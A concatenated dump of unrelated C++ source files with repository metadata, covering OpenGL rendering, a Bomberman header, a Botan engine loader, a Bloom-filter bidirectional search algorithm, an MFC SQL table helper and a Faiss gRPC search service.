#include "TestBlending.h" #include "Debug.h" #include "imgui.h" #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" namespace test { TestBlending::TestBlending() : m_ClearColor { 0.3f, 0.5f, 0.8f, 1.0f }, m_ObjectColorA { 0.8f, 0.2f, 0.1f, 1.0f }, m_ObjectColorB { 0.2f, 0.9f, 0.3f, 1.0f }, m_EnableBlend(true), m_va(), m_layout(), m_shader("res/shaders/OrthoUniform.shader"), m_renderer(), m_proj(glm::ortho(0.0f, 960.0f, 0.0f, 540.0f, -1.0f, 1.0f)), m_view(glm::translate(glm::mat4(1.0f), glm::vec3(300, 0, 0))), m_translationA(200, 200, 0), m_translationB(300, 300, 0) { const float positions[] = { -100.0f, -100.0f, // 0 100.0f, -100.0f, // 1 100.0f, 100.0f, // 2 -100.0f, 100.0f // 3 }; const unsigned int indices[] = { 0, 1, 2, 2, 3, 0 }; m_ib = std::unique_ptr<IndexBuffer>(new IndexBuffer(&indices[0], 6)); m_vb = std::unique_ptr<VertexBuffer>(new VertexBuffer(positions, 4 * 2 * sizeof(float))); m_layout.AddFloat(2); m_va.AddBuffer(*m_vb.get(), m_layout); } TestBlending::~TestBlending() { m_va.Unbind(); m_shader.Unbind(); } void TestBlending::OnRender() { if (m_EnableBlend) { GLCall(glEnable(GL_BLEND)); GLCall(glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)); } else { GLCall(glDisable(GL_BLEND)); } m_renderer.Clear(); GLCall(glClearColor(m_ClearColor[0], m_ClearColor[1], m_ClearColor[2], m_ClearColor[3])); { glm::mat4 model = glm::translate(glm::mat4(1.0f), m_translationA); glm::mat4 mvp = m_proj * m_view * model; m_shader.Bind(); m_shader.SetUniformMat4f("u_MVP", mvp); m_shader.SetUniform4f("u_Color", m_ObjectColorA[0], m_ObjectColorA[1], m_ObjectColorA[2], m_ObjectColorA[3]); m_renderer.Draw(m_va, *m_ib.get(), m_shader); } { glm::mat4 model = glm::translate(glm::mat4(1.0f), m_translationB); glm::mat4 mvp = m_proj * m_view * model; m_shader.Bind(); m_shader.SetUniformMat4f("u_MVP", mvp); m_shader.SetUniform4f("u_Color", m_ObjectColorB[0], m_ObjectColorB[1], m_ObjectColorB[2], m_ObjectColorB[3]); m_renderer.Draw(m_va, *m_ib.get(), m_shader); } } void TestBlending::OnImGuiRender() { ImGui::ColorEdit4("Clear Color", m_ClearColor); ImGui::ColorEdit4("A Color", &m_ObjectColorA[0]); ImGui::ColorEdit4("B Color", &m_ObjectColorB[0]); ImGui::Checkbox("Enable Blend", &m_EnableBlend); } };
569864621221cc9dfacdd7a83f68331b18e320fb
a11e7708f1561af71088be5be605462a3f1a9a68
/Bomberman-2/include/BDemon.h
458702534b00898596fd2d60154e11824abfbc11
[]
no_license
ChanchyJordan/IPOO-PRACTICAS-
f0158e6dbeacbc892abaefbf42d42ad7672e19d1
e16371dc8b118db2927abc1b58b07a4f87878de8
refs/heads/master
2021-01-21T04:35:31.384302
2016-07-08T00:24:57
2016-07-08T00:24:57
43,787,871
0
0
null
null
null
null
UTF-8
C++
false
false
209
h
BDemon.h
#ifndef BDEMON_H #define BDEMON_H #include "BPerson.h" class BDemon:public BPerson { public: BDemon(int,int); int checkMovement(int,int,vector< vector<char> >); }; #endif // BDEMON_H
6df15fc6451bd708cc1a34e7dbc4764f60e3e85a
ead47720465474384ac20fa2994ec7139d3e598d
/VNPTCASoftHSM/botan_impl/dyn_engine.cpp
5f5e7b490878de77f65708192e290a908f5daa84
[]
no_license
chenhuang511/ios-mailclient
e0ad5b0988b86e878383b7472861f5cb5f76a5f8
449e0d3a7e9b7d87fc88f0d2aa08b95265f7cd6d
refs/heads/master
2022-07-07T01:08:50.827242
2017-02-16T08:08:15
2017-02-16T08:08:15
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,306
cpp
dyn_engine.cpp
/** * Dynamically Loaded Engine * (C) 2010 Jack Lloyd * * Distributed under the terms of the Botan license */ #include "../botan/dyn_engine.h" #include "../botan/dyn_load.h" namespace Botan { namespace { extern "C" { typedef Engine* (*creator_func)(void); typedef u32bit (*module_version_func)(void); } } Dynamically_Loaded_Engine::Dynamically_Loaded_Engine( const std::string& library_path) : engine(0) { lib = new Dynamically_Loaded_Library(library_path); try { module_version_func get_version = lib->resolve<module_version_func>("module_version"); const u32bit mod_version = get_version(); if(mod_version != 20101003) throw std::runtime_error("Incompatible version in " + library_path + " of " + to_string(mod_version)); creator_func creator = lib->resolve<creator_func>("create_engine"); engine = creator(); if(!engine) throw std::runtime_error("Creator function in " + library_path + " failed"); } catch(...) { delete lib; lib = 0; throw; } } Dynamically_Loaded_Engine::~Dynamically_Loaded_Engine() { delete engine; delete lib; } }
34cf3961245ec6403a9d62e05e2058584bfbee84
1cea91b0db0fe7f61332cce6d443198a0cd871ed
/hog2-PDB-refactor/generic/BFBDS.h
2c9e2c36ce018be2526a4c7988fc4c095195ca85
[ "MIT" ]
permissive
TheMightyJew/Thesis
ef2bb5e2b5711b6c6a0a5ebe5077e45585aa480b
b2111bb82f1f85e0d782ca678074c67efef03f64
refs/heads/master
2023-07-11T18:38:40.365800
2021-08-15T21:16:50
2021-08-15T21:16:50
247,424,686
0
0
null
null
null
null
UTF-8
C++
false
false
17,614
h
BFBDS.h
/* * BFBDS.h * * Created by Steven Danishevski on DEC 19. * */ #ifndef BFBDS_H #define BFBDS_H #include <iostream> #include <vector> #include <algorithm> #include <unordered_set> #include <math.h> #include "MM.h" #include "IDBiHS.h" #include "Bloom.h" const bool DEFAULT_UPDATE_BY_WORKLOAD = true; const bool DEFAULT_IS_CONSISTENT = true; const bool DEFAULT_REV_ALGO = false; const bool DEFAULT_F2F_HEURISTICS = true; const bool DEFAULT_VERBOSE = false; const bool DEFAULT_SECONDS_LIMIT = 60 * 10; const double DEFAULT_SMALLEST_EDGE = 1; const int SATURATION_MAX_INC = 1; const int DEFAULT_HASH_NUM = 5; const int MIN_HASH_NUM = 1; const int MAX_HASH_NUM = 10; const double LN2 = 0.693; template <class state, class action, class environment> class BFBDS { typedef std::function<bool(const state &, const state &)> StatesComparator; public: BFBDS(environment *env, unsigned long statesQuantityBound, bool isUpdateByWorkload = DEFAULT_UPDATE_BY_WORKLOAD, bool isConsistent = DEFAULT_IS_CONSISTENT, bool revAlgo = DEFAULT_REV_ALGO, bool F2Fheuristics = DEFAULT_F2F_HEURISTICS, bool verbose = DEFAULT_VERBOSE, double smallestEdge = DEFAULT_SMALLEST_EDGE); virtual ~BFBDS() { deleteBloomFilters(); } bool GetMidState(state originState, state goalState, state &midState, std::vector<state> &thePath, int secondsLimit = 600, bool threePhase = true); double getPathLength() { return pathLength; } uint64_t getNodesExpanded() { return expansionsCount; } uint64_t getNecessaryExpansions() { return necessaryExpansions; } int getIterationsNum() { return iteration_num; } private: bool GetMidState(state originState, state goalState, state &midState, int secondsLimit = DEFAULT_SECONDS_LIMIT, double startingFBound = 0); bool DoIteration(state &originState, state &goalState, state &parent, state &currState, double currentDirectionBound, double g, state &midState); bool checkState(state &midState, double g); void updateBounds(); double calculateNextForwardBound(); double isNextForwardSearch(); void UpdateNextBound(double potentialNextBound); double calculateBoundByWorkload(double newBound, double previousBound, double currentDirectionBound, uint64_t currentLoad, uint64_t currentOppositeLoad); int calculateOptimalHashNum(uint64_t bloomfilterSize, uint64_t expectedEntries); void resetBfSearchValues(); void deleteBloomFilters(); void printIterationInfo(); BloomFilter *getNextBloomfilter(); //Constructor variables environment *env; bool threePhase; bool isUpdateByWorkload; bool isConsistent; bool revAlgo; bool F2Fheuristics; uint64_t statesQuantityBound; double smallestEdge; //Results variables uint64_t expansionsCount, nodesTouched, necessaryExpansions; int iteration_num; double pathLength; //Run variables bool verbose; unsigned long memoryBound; BloomFilter *previousBloomfilter, *currentBloomfilter; std::map<state, double, StatesComparator> middleStates; StatesComparator statesComparator; bool forwardSearch, listReady, outOfSpace, firstRun; double backwardBound, forwardBound, fBound, nextBound; double previousMaxG, currentMaxG, previousMinG, currentMinG; unsigned long lastIterBoundExpansions, forwardMaxExpansions, backwardMaxExpansions; double minCurrentError, minPreviousError; }; template <class state, class action, class environment> BFBDS<state, action, environment>::BFBDS(environment *env, unsigned long statesQuantityBound, bool isUpdateByWorkload, bool isConsistent, bool revAlgo, bool F2Fheuristics, bool verbose, double smallestEdge) : env(env), statesQuantityBound(statesQuantityBound), isUpdateByWorkload(isUpdateByWorkload), isConsistent(isConsistent), revAlgo(revAlgo), F2Fheuristics(F2Fheuristics), verbose(verbose), smallestEdge(smallestEdge) { this->statesComparator = [&](const state &firstState, const state &secondState) { return env->GetStateHash(firstState) < env->GetStateHash(secondState); }; this->middleStates = std::map<state, double, StatesComparator>(this->statesComparator); } template <class state, class action, class environment> bool BFBDS<state, action, environment>::GetMidState(state originState, state goalState, state &midState, std::vector<state> &thePath, int secondsLimit, bool threePhase) { if (this->verbose) { printf("Starting to solve with BFBDS, memory limit= %1.1llu\n", this->statesQuantityBound); } this->expansionsCount = this->nodesTouched = this->necessaryExpansions = 0; double lastBound = 0; auto startTime = std::chrono::steady_clock::now(); double elapsed_seconds; if (threePhase) { if (this->verbose) { printf("Starting BFBDS: MM phase\n"); } MM<state, action, environment> mm; elapsed_seconds = std::chrono::duration<double>(std::chrono::steady_clock::now() - startTime).count(); bool solved = mm.GetPath(this->env, originState, goalState, this->env, this->env, thePath, secondsLimit - elapsed_seconds, statesQuantityBound); this->expansionsCount = mm.GetNodesExpanded(); this->necessaryExpansions = mm.GetNecessaryExpansions(); lastBound = mm.getLastBound(); if (solved) { this->pathLength = this->env->GetPathLength(thePath); return true; } } if (this->verbose) { printf("Starting BFBDS: BF phase\n"); } elapsed_seconds = std::chrono::duration<double>(std::chrono::steady_clock::now() - startTime).count(); bool solved = GetMidState(originState, goalState, midState, secondsLimit - elapsed_seconds, lastBound); deleteBloomFilters(); lastBound = this->fBound; if (!solved) { if (this->verbose) { printf("Starting BFBDS: IDBiHS phase\n"); } IDBiHS<environment, state, action, false> idbihs(this->env, this->F2Fheuristics, this->isConsistent, this->isUpdateByWorkload, this->smallestEdge); elapsed_seconds = std::chrono::duration<double>(std::chrono::steady_clock::now() - startTime).count(); solved = idbihs.GetMidState(originState, goalState, midState, secondsLimit - elapsed_seconds, lastBound); this->expansionsCount += idbihs.GetNodesExpanded(); if (solved) { this->pathLength = idbihs.getPathLength(); this->necessaryExpansions = idbihs.GetNecessaryExpansions(); } } return solved; } template <class state, class action, class environment> double BFBDS<state, action, environment>::calculateBoundByWorkload(double newBound, double previousBound, double currentDirectionBound, uint64_t currentLoad, uint64_t currentOppositeLoad) { if (currentLoad <= currentOppositeLoad) { return currentDirectionBound + newBound - previousBound; } else { return currentDirectionBound; } } template <class state, class action, class environment> bool BFBDS<state, action, environment>::GetMidState(state originState, state goalState, state &midState, int secondsLimit, double startingFBound) { this->previousBloomfilter = this->currentBloomfilter = nullptr; this->memoryBound = sizeof(originState) * statesQuantityBound; double initialHeuristic = this->env->HCost(originState, goalState); this->nextBound = this->fBound = std::max(this->smallestEdge, std::max(initialHeuristic, startingFBound)); this->forwardSearch = true; this->forwardBound = this->fBound / 2; this->backwardBound = this->fBound - this->forwardBound; this->iteration_num = 0; this->lastIterBoundExpansions = 0; auto startTime = std::chrono::steady_clock::now(); while (true) { resetBfSearchValues(); int saturationIncreasedCount = 0; double last_saturation; while (true) { this->previousBloomfilter = this->currentBloomfilter; this->currentBloomfilter = nullptr; this->previousMaxG = this->currentMaxG; this->previousMinG = this->currentMinG; if (this->isConsistent) { if (this->minCurrentError != std::numeric_limits<double>::max()) { this->minPreviousError = this->minCurrentError; } else { this->minPreviousError = 0; } this->minCurrentError = std::numeric_limits<double>::max(); } auto currentTime = std::chrono::steady_clock::now(); std::chrono::duration<double> elapsed_seconds = currentTime - startTime; if (elapsed_seconds.count() >= secondsLimit) { return false; } if (this->verbose) { printIterationInfo(); } //Initializing iteration variables this->outOfSpace = false; this->currentMaxG = 0; this->currentMinG = std::numeric_limits<double>::max(); unsigned long expansionsBeforeIter = this->expansionsCount; double currentDirectionBound; state currentOriginState, currentGoalState; if (this->forwardSearch) { currentOriginState = originState; currentGoalState = goalState; currentDirectionBound = this->forwardBound; } else { currentOriginState = goalState; currentGoalState = originState; currentDirectionBound = this->backwardBound; } bool solved = DoIteration(currentOriginState, currentGoalState, currentOriginState, currentOriginState, currentDirectionBound, 0, midState); this->iteration_num++; unsigned long lastIterExpansions = this->expansionsCount - expansionsBeforeIter; if (this->verbose) { printf("Nodes expanded: %d out of %d\n", lastIterExpansions, this->expansionsCount); } if (this->forwardSearch) { this->forwardMaxExpansions = std::max(this->forwardMaxExpansions, lastIterExpansions); } else { this->backwardMaxExpansions = std::max(this->backwardMaxExpansions, lastIterExpansions); } if (solved) { this->pathLength = this->fBound; this->necessaryExpansions = this->expansionsCount - this->lastIterBoundExpansions; return true; } if (this->listReady) { // no solution found break; } if (!this->outOfSpace) // Memory is not exhausted { if (this->middleStates.size() == 0) { break; } else { this->listReady = true; delete this->previousBloomfilter; this->previousBloomfilter = nullptr; } } else { double saturation = this->currentBloomfilter->GetSaturation(); if (!this->firstRun && saturation >= last_saturation) { saturationIncreasedCount += 1; } if (saturation == 1 || saturationIncreasedCount >= SATURATION_MAX_INC) { return false; //bloomfilter is fluded. } last_saturation = saturation; delete this->previousBloomfilter; this->previousBloomfilter = nullptr; this->listReady = false; } this->firstRun = false; this->forwardSearch = !this->forwardSearch; } updateBounds(); } return false; } template <class state, class action, class environment> bool BFBDS<state, action, environment>::DoIteration(state &originState, state &goalState, state &parent, state &currState, double currentDirectionBound, double g, state &midState) { this->nodesTouched++; double h = this->env->HCost(currState, goalState); if (this->isConsistent) { h += this->minPreviousError; } if (fgreater(g + h, this->fBound)) { UpdateNextBound(g + h); return false; } if ((!this->firstRun && g + this->previousMaxG >= fBound) || g >= currentDirectionBound) { if (checkState(currState, g)) { midState = currState; return true; } else if ((!this->firstRun && g + this->previousMinG >= fBound) || g >= currentDirectionBound) { if (this->isConsistent) { this->minCurrentError = std::min(this->minCurrentError, g - this->env->HCost(currState, originState)); } return false; } } std::map<state, double, StatesComparator> ignoreList; if (this->revAlgo && this->listReady) { ignoreList = std::map<state, double, StatesComparator>(this->statesComparator); for (auto it = this->middleStates.cbegin(); it != this->middleStates.cend();) { state perimeterState = it->first; double perimeterStateG = it->second; double calculatedF = g + this->env->HCost(currState, perimeterState) + perimeterStateG; if (fgreater(calculatedF, this->fBound)) { UpdateNextBound(calculatedF); ignoreList[perimeterState] = perimeterStateG; it = this->middleStates.erase(it); } else { ++it; } } if (this->middleStates.empty()) { this->middleStates.insert(ignoreList.begin(), ignoreList.end()); ignoreList.clear(); return false; } } std::vector<state> neighbors; this->env->GetSuccessors(currState, neighbors); this->expansionsCount++; if (g + h == this->fBound) { this->lastIterBoundExpansions++; } for (unsigned int x = 0; x < neighbors.size(); x++) { if (neighbors[x] == parent) { continue; } double edgeCost = this->env->GCost(currState, neighbors[x]); if (DoIteration(originState, goalState, currState, neighbors[x], currentDirectionBound, g + edgeCost, midState)) { return true; } } if (this->revAlgo && this->listReady) { this->middleStates.insert(ignoreList.begin(), ignoreList.end()); ignoreList.clear(); } return false; } template <class state, class action, class environment> bool BFBDS<state, action, environment>::checkState(state &midState, double g) { if (this->listReady) { auto it = this->middleStates.find(midState); if (it != this->middleStates.end()) { if (g + it->second <= this->fBound) { return true; } } } else if (this->firstRun || this->previousBloomfilter->Contains(this->env->GetStateHash(midState))) { this->currentMaxG = std::max(this->currentMaxG, g); this->currentMinG = std::min(this->currentMinG, g); if (this->outOfSpace) { this->currentBloomfilter->Insert(this->env->GetStateHash(midState)); } else { if (this->middleStates.size() >= (int)(this->statesQuantityBound / 2)) { this->outOfSpace = true; this->currentBloomfilter = getNextBloomfilter(); this->currentBloomfilter->Insert(this->env->GetStateHash(midState)); for (const auto &possibleMidStatePair : this->middleStates) { this->currentBloomfilter->Insert(this->env->GetStateHash(possibleMidStatePair.first)); } this->middleStates.clear(); } else { this->middleStates[midState] = g; } } } return false; } template <class state, class action, class environment> void BFBDS<state, action, environment>::UpdateNextBound(double potentialNextBound) { if (!fgreater(this->nextBound, this->fBound)) { this->nextBound = std::max(this->fBound, potentialNextBound); } else if (fgreater(potentialNextBound, this->fBound)) { this->nextBound = std::min(potentialNextBound, this->nextBound); } } template <class state, class action, class environment> double BFBDS<state, action, environment>::calculateNextForwardBound() { if (this->isUpdateByWorkload) { return calculateBoundByWorkload(this->nextBound, this->fBound, this->forwardBound, this->forwardMaxExpansions, this->backwardMaxExpansions); } return this->nextBound / 2; } template <class state, class action, class environment> double BFBDS<state, action, environment>::isNextForwardSearch() { return this->forwardBound >= this->backwardBound; } template <class state, class action, class environment> void BFBDS<state, action, environment>::updateBounds() { this->forwardBound = floor(calculateNextForwardBound() / this->smallestEdge) * this->smallestEdge; this->backwardBound = this->nextBound - this->forwardBound; this->fBound = this->nextBound; } template <class state, class action, class environment> void BFBDS<state, action, environment>::resetBfSearchValues() { deleteBloomFilters(); this->firstRun = true; this->forwardSearch = isNextForwardSearch(); this->listReady = false; this->middleStates.clear(); this->previousMaxG = 0; this->currentMaxG = 0; this->currentMinG = std::numeric_limits<double>::max(); this->forwardMaxExpansions = 0; this->backwardMaxExpansions = 0; if (this->isConsistent) { this->minCurrentError = std::numeric_limits<double>::max(); this->minPreviousError = 0; } } template <class state, class action, class environment> void BFBDS<state, action, environment>::deleteBloomFilters() { delete this->previousBloomfilter; this->previousBloomfilter = nullptr; delete this->currentBloomfilter; this->currentBloomfilter = nullptr; } template <class state, class action, class environment> void BFBDS<state, action, environment>::printIterationInfo() { printf("Starting iteration number: %d.\n", this->iteration_num); printf("Bounds: %f and %f\n", this->forwardBound, this->backwardBound); printf("start middleStates.size() = %d\n", this->middleStates.size()); if (this->previousBloomfilter != nullptr) { printf("start previousBloomfilter->GetSaturation() = %f\n", this->previousBloomfilter->GetSaturation()); } printf("start listReady = %d\n", this->listReady); printf("start firstRun = %d\n", this->firstRun); printf("start forwardSearch = %d\n", this->forwardSearch); } template <class state, class action, class environment> int BFBDS<state, action, environment>::calculateOptimalHashNum(uint64_t bloomfilterSize, uint64_t expectedEntries) { return (LN2 * bloomfilterSize) / expectedEntries; } template <class state, class action, class environment> BloomFilter *BFBDS<state, action, environment>::getNextBloomfilter() { int nextStartingHash = 0; int hashNum = DEFAULT_HASH_NUM; uint64_t bloomfilterSize = 0.5 * this->memoryBound; if (this->previousBloomfilter != nullptr) { uint64_t expectedEntries = this->previousBloomfilter->GetEntries() * pow(this->previousBloomfilter->GetSaturation(), this->previousBloomfilter->GetNumHash()); int optimalHashNum = calculateOptimalHashNum(bloomfilterSize, expectedEntries); hashNum = std::max(MIN_HASH_NUM, std::min(MAX_HASH_NUM, optimalHashNum)); nextStartingHash = this->previousBloomfilter->GetNextStartingHash(); } return new BloomFilter(bloomfilterSize, hashNum, false, false, nextStartingHash); } #endif
86e819f74a6bd43fec7788fe77b75af52f5d0ab0
1f95e2144280d1ef46d4b62b49eaead585e3235e
/CRSInfoServer/InnerMisla.cpp
b1d213d74de0e63405bb7ebb34368f0bc6e36388
[]
no_license
jack-liaojie/EQ_C-
0a74ebe8399f897b1ae369c728ba4bd23e84c48b
518b099c3cc55196d6c38500f36544ccd9aefb67
refs/heads/master
2022-12-03T01:26:11.061817
2020-08-05T15:53:28
2020-08-05T15:53:28
285,261,010
0
1
null
null
null
null
GB18030
C++
false
false
5,565
cpp
InnerMisla.cpp
#include "stdafx.h" #include "InnerMisla.h" #include "CRSInfoServer.h" extern CCRSInfoServerApp theApp; ///////////////////////////////////////////////////////////////////////////////////////////////////////// //////// CAxDBOperator////////////////////////////////////////////////////////////////////////////////// BOOL CAxDBOperator::GetAllTopicItems(SAxTableRecordSet& rsResult, CString strDisciplineCode /*= _T("")*/) { ValidateDBInfoTable(); CString strSQL; strSQL.Format(_T("SELECT * FROM TI_CRS_Info")); if (!strDisciplineCode.IsEmpty()) { strSQL += _T(" WHERE F_DisciplineCode = '") + strDisciplineCode + _T("'"); } strSQL += _T(" ORDER BY F_MsgTypeID"); CAxADORecordSet obRecordSet(theApp.GetDataBase()); obRecordSet.Open(strSQL); AxCommonTransRecordSet(obRecordSet, rsResult); return TRUE; } // Create TI_CRS_Info if it's not exist BOOL CAxDBOperator::ValidateDBInfoTable() { CString strSQL; strSQL = _T("IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[TI_CRS_Info]') AND type in (N'U')) \ \ CREATE TABLE [dbo].[TI_CRS_Info](\ [F_MsgKey] [nvarchar](50) COLLATE Chinese_PRC_CI_AS NOT NULL,\ [F_DisciplineCode] [nvarchar](10) COLLATE Chinese_PRC_CI_AS NOT NULL,\ [F_MsgTypeID] [nvarchar](50) COLLATE Chinese_PRC_CI_AS NOT NULL,\ [F_MsgTypeDes] [nvarchar](50) COLLATE Chinese_PRC_CI_AS NULL,\ [F_SqlProcedure] [nvarchar](2000) COLLATE Chinese_PRC_CI_AS NULL,\ [F_Language] [nvarchar](50) COLLATE Chinese_PRC_CI_AS NULL,\ [F_MsgLevel] [nvarchar](50) COLLATE Chinese_PRC_CI_AS NULL,\ CONSTRAINT [PK_TI_CRS_Info] PRIMARY KEY CLUSTERED \ (\ [F_MsgKey] ASC\ )WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]\ ) ON [PRIMARY]\ "); CAxADOCommand cmdADO(theApp.GetDataBase()); cmdADO.SetText(strSQL); try { if ( cmdADO.Execute(CAxADOCommand::emTypeCmdText)) { return TRUE; } return FALSE; } catch (CAxADOException &e) { AfxMessageBox(e.GetErrorMessage()); return FALSE; } catch (...) { return FALSE; } } BOOL CAxDBOperator::InsertTopicItem(STopicItem* pTopicItem) { if( pTopicItem == NULL) return FALSE; // 处理单引号 CString strSqlProcedure = pTopicItem->m_strSQLProcedure; strSqlProcedure.Replace(_T("'"),_T("''")); CString strSQL; strSQL.Format(_T("INSERT INTO TI_CRS_Info (F_MsgKey, F_DisciplineCode, F_MsgTypeID, F_MsgTypeDes, F_SqlProcedure, F_Language, F_MsgLevel) \ VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s') \ SET NOCOUNT OFF "), pTopicItem->m_strMsgKey, pTopicItem->m_strDisciplineCode, pTopicItem->m_strMsgType, pTopicItem->m_strMsgName, strSqlProcedure, pTopicItem->m_strLanguage, pTopicItem->m_strMsgLevel); CAxADOCommand cmdADO(theApp.GetDataBase()); cmdADO.SetText(strSQL); try { if ( cmdADO.Execute(CAxADOCommand::emTypeCmdText)) { return TRUE; } return FALSE; } catch (CAxADOException &e) { AfxMessageBox(e.GetErrorMessage()); return FALSE; } catch (...) { return FALSE; } } BOOL CAxDBOperator::UpdateTopicItem(STopicItem* pTopicItem) { if( pTopicItem == NULL) return FALSE; // 处理单引号 CString strSqlProcedure = pTopicItem->m_strSQLProcedure; strSqlProcedure.Replace(_T("'"),_T("''")); CString strSQL; strSQL.Format(_T("UPDATE TI_CRS_Info \ SET F_MsgTypeDes='%s', F_SqlProcedure='%s', F_Language='%s', F_MsgLevel='%s' \ WHERE F_DisciplineCode ='%s' AND F_MsgKey = '%s'") ,pTopicItem->m_strMsgName, strSqlProcedure, pTopicItem->m_strLanguage, pTopicItem->m_strMsgLevel, pTopicItem->m_strDisciplineCode, pTopicItem->m_strMsgKey); CAxADOCommand cmdADO(theApp.GetDataBase()); cmdADO.SetText(strSQL); try { if ( cmdADO.Execute(CAxADOCommand::emTypeCmdText)) { return TRUE; } return FALSE; } catch (CAxADOException &e) { AfxMessageBox(e.GetErrorMessage()); return FALSE; } catch (...) { return FALSE; } } BOOL CAxDBOperator::DeleteTopicItem(STopicItem* pTopicItem) { if( pTopicItem == NULL) return FALSE; CString strSQL; strSQL.Format(_T("DELETE FROM TI_CRS_Info WHERE F_DisciplineCode ='%s' AND F_MsgKey = '%d'"), pTopicItem->m_strDisciplineCode, pTopicItem->m_strMsgKey); CAxADOCommand cmdADO(theApp.GetDataBase()); cmdADO.SetText(strSQL); try { if ( cmdADO.Execute(CAxADOCommand::emTypeCmdText)) { return TRUE; } return FALSE; } catch (CAxADOException &e) { AfxMessageBox(e.GetErrorMessage()); return FALSE; } catch (...) { return FALSE; } } BOOL CAxDBOperator::GetScheduleTree(CAxADODataBase* pDB, int iID, int iType, CString strLanguageCode, CAxADORecordSet& obRecordSet) { if( !pDB ) return FALSE; CAxADOCommand cmd(pDB, _T("Proc_GetScheduleTreeForInfo")); cmd.AddParameter( _T("@ID"), CAxADORecordSet::emDataTypeInteger, CAxADOParameter::emParamInput, sizeof(int), iID); cmd.AddParameter( _T("@Type"), CAxADORecordSet::emDataTypeInteger, CAxADOParameter::emParamInput, sizeof(int), iType); cmd.AddParameter( _T("@Option"), CAxADORecordSet::emDataTypeInteger, CAxADOParameter::emParamInput, sizeof(int), 1); cmd.AddParameter( _T("@Option1"), CAxADORecordSet::emDataTypeInteger, CAxADOParameter::emParamInput, sizeof(int), 0); cmd.AddParameter( _T("@LanguageCode"), CAxADORecordSet::emDataTypeChar, CAxADOParameter::emParamInput, sizeof(char)*3, (_bstr_t)strLanguageCode); try { if( obRecordSet.Execute(&cmd) ) { return TRUE; } return FALSE; } catch (CAxADOException &e) { AfxMessageBox(e.GetErrorMessage()); return FALSE; } catch (...) { return FALSE; } }
8de18414cca41cdceaa0738bc52ddd7426836a03
51bf5f8b4bfc1a7eca0784d6fca461a29d4c05f3
/faiss_search.cpp
82a06151f0b12d94d7acfa34a21fb318c6e32a87
[]
no_license
BarryZM/faiss-grpc-serving
b5b7020901515b52b9d5bee7fd82f4291a081908
c9b564ba89ef5f4369d23ad7a6488ce55ba38c30
refs/heads/master
2022-12-02T22:15:51.563697
2020-07-24T06:23:05
2020-07-24T06:23:05
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,646
cpp
faiss_search.cpp
#include <stdlib.h> #include <stdio.h> #include <grpc++/grpc++.h> #include "faiss_logic.h" #include "core_db.h" struct Node { ::google::protobuf::uint64 id; float score; }; struct { bool operator() (Node node1,Node node2) { return node1.score > node2.score; } } SortFunc; Status FaissServiceImpl::HSearch(ServerContext* context, const ::faiss_server::HSearchRequest* request, ::faiss_server::HSearchResponse* response) { std::ostringstream oss; oss << "request_id:" << request->request_id() << " cmd:HSearch" << " db_name:" << request->db_name() << " top_k:" << request->top_k() << " dist_type:" << request->distance_type(); response->set_request_id(request->request_id()); size_t topk = request->top_k(); if (topk < 1) { topk = 3; } else if (topk > 5) { topk = 5; } int respCount = 0; std::vector<Node> cosineNodes; int searchTopK = topk * 2; std::string feaStr = request->feature(); if (feaStr.length() < 1 || topk > 10) { response->set_error_code(INVALID_ARGUMENT); response->set_error_msg("invalid argument"); oss << " error_code:" << response->error_code() << " error_msg:" << response->error_msg(); LOG(WARNING) << oss.str(); return Status::OK; } int disType = faiss_server::HSearchRequest::Euclid; if (request->distance_type() == faiss_server::HSearchRequest::Cosine) { disType = faiss_server::HSearchRequest::Cosine; } { unique_readguard<WfirstRWLock> readlock(*m_lock); std::string dbName = request->db_name(); std::map<std::string, FaissDB*>::iterator it; it = dbs.find(dbName); if (it == dbs.end()) { response->set_error_code(grpc::StatusCode::NOT_FOUND); response->set_error_msg("dbname not found"); oss << " error_code:" << response->error_code() << " error_msg:" << response->error_msg(); LOG(WARNING) << oss.str(); return Status::OK; } FaissDB *db = it->second; auto index = db->index; int feaLen = feaStr.length() / sizeof(float); int d = index->d; oss << " db_dim:" << d << " req_dim:" << feaLen; if (feaLen != d) { response->set_error_code(DIMENSION_NOT_EQUAL); response->set_error_msg("request feature dimension is not equal to database"); oss << " error_code:" << response->error_code() << " error_msg:" << response->error_msg(); LOG(WARNING) << oss.str(); return Status::OK; } if (index->ntotal < 1) { response->set_error_code(NOT_FOUND); response->set_error_msg("database is empty"); oss << " error_code:" << response->error_code() << " error_msg:" << response->error_msg(); LOG(WARNING) << oss.str(); return Status::OK; } VLOG(50) << "Searching the "<< searchTopK << " nearest neighbors in the index"; std::vector<faiss::Index::idx_t> nns(searchTopK); std::vector<float> dis(searchTopK); //write lock { unique_writeguard<WfirstRWLock> writelock(*(db->lock)); index->search (1, (float*)feaStr.data(), searchTopK, dis.data(), nns.data()); } for (int j = 0; j < searchTopK && respCount < topk; j++) { if (db->inBlackList(nns[j])) { continue; } if (dis[j] > globalConfig.EuclidThresh) { break; } float dist = dis[j]; if (disType == faiss_server::HSearchRequest::Cosine) { //compute cosine distance int rc = db->calcCosine((float*)feaStr.data(), nns[j], &dist); if (rc == MDB_NOTFOUND) { continue; } else if (rc != 0) { response->set_error_code(rc); response->set_error_msg("calculate cosine distance failed"); oss << " error_code:" << response->error_code() << " error_msg:" << response->error_msg(); LOG(WARNING) << oss.str(); return Status::OK; } Node node; node.score = dist; node.id = nns[j]; cosineNodes.push_back(node); respCount ++; } else { oss << " " << nns[j] << ":" << dist; auto rs = response->add_results(); rs->set_score(dist); rs->set_id(nns[j]); respCount ++; } } } if (respCount < 1) { response->set_error_code(NOT_FOUND); response->set_error_msg("search no result"); oss << " error_code:" << response->error_code() << " error_msg:" << response->error_msg(); LOG(WARNING) << oss.str(); return Status::OK; } if (disType == faiss_server::HSearchRequest::Cosine) { //sort cosine distance std::sort(cosineNodes.begin(),cosineNodes.end(),SortFunc); for (auto it = cosineNodes.begin(); it != cosineNodes.end(); ++it) { oss << " " << it->id << ":" << it->score; auto rs = response->add_results(); rs->set_score(it->score); rs->set_id(it->id); } } response->set_error_code(OK); oss << " error_code:0"; LOG(INFO) << oss.str(); return Status::OK; }
0ffe971c77e59a887b35b5ddb9333ddc843dc7be
